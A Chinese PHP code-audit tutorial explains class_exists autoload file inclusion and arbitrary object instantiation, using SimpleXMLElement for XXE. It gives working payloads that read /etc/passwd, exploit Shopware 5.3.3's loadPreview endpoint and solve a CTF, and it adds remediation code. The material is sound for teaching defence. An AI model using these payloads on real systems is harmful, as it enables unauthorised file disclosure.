[红日安全]代码审计Day3 - 实例化任意对象漏洞
字数 1582 2025-08-29 08:32:24
PHP代码审计:实例化任意对象漏洞与XXE攻击分析
1. 漏洞概述
本文分析PHP代码中两种常见的安全漏洞:
- 通过
class_exists()函数导致的文件包含漏洞 - 通过用户控制的类实例化导致的任意对象实例化漏洞(可导致XXE攻击)
2. 漏洞解析
2.1 文件包含漏洞(class_exists函数)
漏洞代码特征:
class_exists($classname, true); // 第二个参数为true时会自动调用__autoload
漏洞原理:
- 在PHP 5~5.3版本中,
class_exists()函数与__autoload结合使用时,攻击者可以通过路径穿越符号(如../)包含任意文件 - 例如:类名为
..etc/passwd时,会尝试包含并查看passwd文件内容
PHP手册说明:
bool class_exists ( string $class_name [, bool $autoload = true ] )- 当
$autoload为true时,会自动调用__autoload函数
2.2 任意对象实例化漏洞
漏洞代码特征:
$className = $_GET['class']; // 用户可控
$param = $_GET['param']; // 用户可控
$newclass = new $className($param);
漏洞原理:
- 攻击者可以控制类名和构造参数,实例化PHP内置类如
SimpleXMLElement进行XXE攻击 - 通过构造恶意XML数据,可以读取服务器文件或执行命令(需安装expect扩展)
3. SimpleXMLElement类与XXE攻击
3.1 SimpleXMLElement类简介
- PHP内置类,用于表示XML文档中的元素
- 构造函数:
SimpleXMLElement::__construct(string $data [, int $options = 0 [, bool $data_is_url = FALSE [, string $ns = "" [, bool $is_prefix = FALSE ]]]])
3.2 XXE攻击示例
$xml = '<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><x>&xxe;</x>';
new SimpleXMLElement($xml, LIBXML_NOENT);
攻击效果:
- 读取服务器文件内容
- 如果服务器配置不当,可能实现远程代码执行
4. 实例分析:Shopware 5.3.3 XXE漏洞
4.1 漏洞位置
engine\Shopware\Controllers\Backend\ProductStream.php中的loadPreviewAction方法
4.2 漏洞调用链
- 用户传入
sort参数 - 经过
Repository::unserialize() - 调用
LogawareReflectionHelper::unserialize() - 最终在
ReflectionHelper::createInstanceFromNamedArguments()中实例化对象
4.3 漏洞利用
原始请求:
GET /backend/ProductStream/loadPreview?sort={"Shopware\\Bundle\\SearchBundle\\Sorting\\PriceSorting":{"direction":"asc"}}
恶意payload:
sort={"SimpleXMLElement":{"data":"<?xml version='1.0'?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM 'file:///C:/flag.txt'>]><x>&xxe;</x>","options":2,"data_is_url":0}}
解释:
options参数设置为2(即LIBXML_NOENT),允许实体替换- 通过XXE读取服务器上的
C:/flag.txt文件
5. 修复建议
5.1 针对XXE漏洞
// 方法1:禁用外部实体加载
libxml_disable_entity_loader(true);
// 方法2:过滤XML中的关键词
if(preg_match('/<!ENTITY.*SYSTEM/i', $xml)) {
die('XXE attack detected');
}
5.2 针对任意对象实例化
- 白名单验证类名
$allowedClasses = ['SafeClass1', 'SafeClass2'];
if(!in_array($className, $allowedClasses)) {
die('Invalid class name');
}
- 限制实例化操作
// 使用反射API前验证类是否允许实例化
$reflectionClass = new ReflectionClass($className);
if(!$reflectionClass->isInstantiable() || $reflectionClass->isInternal()) {
die('Class not allowed');
}
6. CTF题目分析
6.1 题目代码
// index.php
class NotFound {
function __construct() { die('404'); }
}
spl_autoload_register(function($class){
new NotFound();
});
$classname = isset($_GET['name']) ? $_GET['name'] : null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
if(class_exists($classname)){
$newclass = new $classname($param, $param2);
var_dump($newclass);
foreach($newclass as $key => $value)
echo $key.'=>'.$value.'<br>';
}
// f1agi3hEre.php
$flag = "HRCTF{X33_W1tH_S1mpl3Xml3l3m3nt}";
6.2 解题思路
- 利用
class_exists触发自动加载 - 绕过
NotFound限制,读取f1agi3hEre.php文件 - 使用
SimpleXMLElement进行XXE攻击
利用payload:
?name=SimpleXMLElement¶m=<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=f1agi3hEre.php">]><x>&xxe;</x>¶m2=2
解释:
param2=2设置LIBXML_NOENT选项- 通过PHP伪协议和base64编码读取文件内容
7. 总结
class_exists():在旧版PHP中可能导致文件包含,需注意自动加载行为- 任意对象实例化:用户控制的类名和参数可能导致严重漏洞
- SimpleXMLElement:内置类可能被滥用进行XXE攻击
- 防御措施:输入验证、白名单、禁用危险功能
通过深入理解这些漏洞原理和利用方式,开发者可以更好地保护PHP应用程序安全。